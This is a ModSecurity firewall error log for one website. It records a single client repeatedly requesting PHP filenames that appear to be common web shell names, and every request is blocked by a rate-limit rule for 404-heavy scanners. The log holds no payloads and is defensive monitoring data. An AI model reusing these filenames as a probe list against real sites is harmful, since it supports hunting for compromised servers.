[Sat Apr 18 05:32:09.728431 2026] [:error] [pid 9863:tid 9894] [client 4.235.105.111:41742] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeKm2TjjiypiFrTucbIEwwAAABU"]
[Sat Apr 18 05:32:10.367233 2026] [:error] [pid 9865:tid 9950] [client 4.235.105.111:29088] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeKm2qzb5knECIY-C-ibtAAAAI0"]
[Sat Apr 18 05:32:11.115086 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:47791] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeKm2yYdRLRhVmaIMx21LgAAAMA"]
[Sat Apr 18 05:32:12.311989 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:41123] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeKm3CYdRLRhVmaIMx21MwAAANQ"]
[Sat Apr 18 05:32:13.504530 2026] [:error] [pid 9863:tid 9893] [client 4.235.105.111:41759] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeKm3TjjiypiFrTucbIEyQAAABQ"]
[Sat Apr 18 05:32:14.608169 2026] [:error] [pid 9864:tid 9914] [client 4.235.105.111:3359] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeKm3oCFeowknfXHM7krfQAAAEg"]
[Sat Apr 18 05:32:15.679781 2026] [:error] [pid 9970:tid 9993] [client 4.235.105.111:3386] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeKm3yYdRLRhVmaIMx21PAAAANM"]
[Sat Apr 18 05:32:16.491866 2026] [:error] [pid 9864:tid 9921] [client 4.235.105.111:27594] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeKm4ICFeowknfXHM7kriAAAAE8"]
[Sat Apr 18 05:32:17.281229 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:41114] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeKm4SYdRLRhVmaIMx21QAAAAMY"]
[Sat Apr 18 05:32:17.900887 2026] [:error] [pid 9864:tid 9906] [client 4.235.105.111:32410] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeKm4YCFeowknfXHM7krjwAAAEE"]
[Sat Apr 18 05:32:18.837951 2026] [:error] [pid 9863:tid 9888] [client 4.235.105.111:3376] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeKm4jjjiypiFrTucbIEzwAAAA8"]
[Sat Apr 18 05:32:19.569098 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:28701] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeKm4yYdRLRhVmaIMx21SAAAAMA"]
[Sat Apr 18 05:32:20.192006 2026] [:error] [pid 9863:tid 9873] [client 4.235.105.111:41097] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeKm5DjjiypiFrTucbIE0wAAAAA"]
[Sat Apr 18 05:32:20.945986 2026] [:error] [pid 9864:tid 9930] [client 4.235.105.111:26744] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeKm5ICFeowknfXHM7krmQAAAFg"]
[Sat Apr 18 05:32:21.562848 2026] [:error] [pid 9863:tid 9889] [client 4.235.105.111:37121] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeKm5TjjiypiFrTucbIE1wAAABA"]
[Sat Apr 18 05:32:22.386576 2026] [:error] [pid 9970:tid 9996] [client 4.235.105.111:29073] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeKm5iYdRLRhVmaIMx21UAAAANY"]
[Sat Apr 18 05:32:23.140535 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:37155] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeKm5yYdRLRhVmaIMx21VQAAAMA"]
[Sat Apr 18 05:32:23.659265 2026] [:error] [pid 9863:tid 9895] [client 4.235.105.111:26701] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeKm5zjjiypiFrTucbIE3AAAABY"]
[Sat Apr 18 05:32:24.352960 2026] [:error] [pid 9863:tid 9888] [client 4.235.105.111:25000] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeKm6DjjiypiFrTucbIE4AAAAA8"]
[Sat Apr 18 05:32:25.322913 2026] [:error] [pid 9865:tid 9961] [client 4.235.105.111:33364] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeKm6azb5knECIY-C-ib4AAAAJg"]
[Sat Apr 18 05:32:26.371560 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:33382] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeKm6qzb5knECIY-C-ib4gAAAIk"]
[Sat Apr 18 05:32:27.495353 2026] [:error] [pid 9863:tid 9890] [client 4.235.105.111:41477] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeKm6zjjiypiFrTucbIE6wAAABE"]
[Sat Apr 18 05:32:28.327454 2026] [:error] [pid 9863:tid 9891] [client 4.235.105.111:3651] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeKm7DjjiypiFrTucbIE8gAAABI"]
[Sat Apr 18 05:32:28.987790 2026] [:error] [pid 9863:tid 9881] [client 4.235.105.111:41483] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeKm7DjjiypiFrTucbIE9gAAAAg"]
[Sat Apr 18 05:32:29.628799 2026] [:error] [pid 9864:tid 9905] [client 4.235.105.111:26748] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeKm7YCFeowknfXHM7krqQAAAEA"]
[Sat Apr 18 05:32:30.513626 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:37521] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeKm7iYdRLRhVmaIMx21cgAAANI"]
[Sat Apr 18 05:32:31.161831 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:39003] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeKm7yYdRLRhVmaIMx21dgAAAME"]
[Sat Apr 18 05:32:31.912359 2026] [:error] [pid 9865:tid 9957] [client 4.235.105.111:44140] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeKm76zb5knECIY-C-ib7QAAAJQ"]
[Sat Apr 18 05:32:32.531415 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:37532] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeKm8Kzb5knECIY-C-ib8gAAAIk"]
[Sat Apr 18 05:32:33.083694 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:43342] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeKm8SYdRLRhVmaIMx21ewAAANI"]
[Sat Apr 18 05:32:33.786698 2026] [:error] [pid 9970:tid 9986] [client 4.235.105.111:29267] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeKm8SYdRLRhVmaIMx21gQAAAMw"]
[Sat Apr 18 05:32:35.188755 2026] [:error] [pid 9863:tid 9875] [client 4.235.105.111:43329] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "aeKm8zjjiypiFrTucbIFAQAAAAI"]
[Sat Apr 18 05:32:35.769727 2026] [:error] [pid 9865:tid 9943] [client 4.235.105.111:25373] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeKm86zb5knECIY-C-ib_QAAAIY"]
[Sat Apr 18 05:32:36.376007 2026] [:error] [pid 9864:tid 9921] [client 4.235.105.111:43332] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeKm9ICFeowknfXHM7krtAAAAE8"]
[Sat Apr 18 05:32:36.935772 2026] [:error] [pid 9864:tid 9912] [client 4.235.105.111:47403] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeKm9ICFeowknfXHM7kruQAAAEY"]
[Sat Apr 18 05:32:37.532138 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:25386] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "aeKm9SYdRLRhVmaIMx21jgAAANU"]
[Sat Apr 18 05:32:38.244628 2026] [:error] [pid 9970:tid 9988] [client 4.235.105.111:39301] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeKm9iYdRLRhVmaIMx21kgAAAM4"]
[Sat Apr 18 05:32:38.815057 2026] [:error] [pid 9864:tid 9930] [client 4.235.105.111:3288] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeKm9oCFeowknfXHM7krwgAAAFg"]
[Sat Apr 18 05:32:39.359400 2026] [:error] [pid 9864:tid 9906] [client 4.235.105.111:25160] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeKm94CFeowknfXHM7krxAAAAEE"]
[Sat Apr 18 05:32:39.913354 2026] [:error] [pid 9864:tid 9916] [client 4.235.105.111:25164] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeKm94CFeowknfXHM7krxwAAAEo"]
[Sat Apr 18 05:32:40.574712 2026] [:error] [pid 9864:tid 9917] [client 4.235.105.111:25395] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "aeKm-ICFeowknfXHM7krygAAAEs"]
[Sat Apr 18 05:32:41.286893 2026] [:error] [pid 9864:tid 9919] [client 4.235.105.111:35955] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "aeKm-YCFeowknfXHM7krzAAAAE0"]
[Sat Apr 18 05:32:41.884452 2026] [:error] [pid 9970:tid 9975] [client 4.235.105.111:23579] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "aeKm-SYdRLRhVmaIMx21nwAAAME"]
[Sat Apr 18 05:32:42.442769 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:48008] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "aeKm-iYdRLRhVmaIMx21pQAAAMM"]
[Sat Apr 18 05:32:43.041592 2026] [:error] [pid 9864:tid 9907] [client 4.235.105.111:3258] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeKm-4CFeowknfXHM7krzgAAAEI"]
[Sat Apr 18 05:32:43.565254 2026] [:error] [pid 9864:tid 9914] [client 4.235.105.111:43037] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeKm-4CFeowknfXHM7krzwAAAEg"]
[Sat Apr 18 05:32:44.153507 2026] [:error] [pid 9864:tid 9909] [client 4.235.105.111:40108] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeKm_ICFeowknfXHM7kr0QAAAEQ"]
[Sat Apr 18 05:32:44.717178 2026] [:error] [pid 9970:tid 9982] [client 4.235.105.111:3589] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeKm_CYdRLRhVmaIMx21sAAAAMg"]
[Sat Apr 18 05:32:45.622813 2026] [:error] [pid 9865:tid 9943] [client 4.235.105.111:25127] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeKm_azb5knECIY-C-icBgAAAIY"]
[Sat Apr 18 05:32:46.434617 2026] [:error] [pid 9970:tid 9998] [client 4.235.105.111:3619] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeKm_iYdRLRhVmaIMx21twAAANg"]
[Sat Apr 18 05:32:47.076281 2026] [:error] [pid 9864:tid 9922] [client 4.235.105.111:27765] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeKm_4CFeowknfXHM7kr1gAAAFA"]
[Sat Apr 18 05:32:47.879008 2026] [:error] [pid 9865:tid 9938] [client 4.235.105.111:27336] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeKm_6zb5knECIY-C-icDwAAAIE"]
[Sat Apr 18 05:32:48.564691 2026] [:error] [pid 9864:tid 9926] [client 4.235.105.111:39261] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "aeKnAICFeowknfXHM7kr2AAAAFQ"]
[Sat Apr 18 05:32:49.083713 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:3104] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "aeKnASYdRLRhVmaIMx21wAAAANQ"]
[Sat Apr 18 05:32:49.675347 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:46445] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "aeKnASYdRLRhVmaIMx21xQAAANU"]
[Sat Apr 18 05:32:50.317694 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:47975] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "aeKnAiYdRLRhVmaIMx21xwAAAMM"]
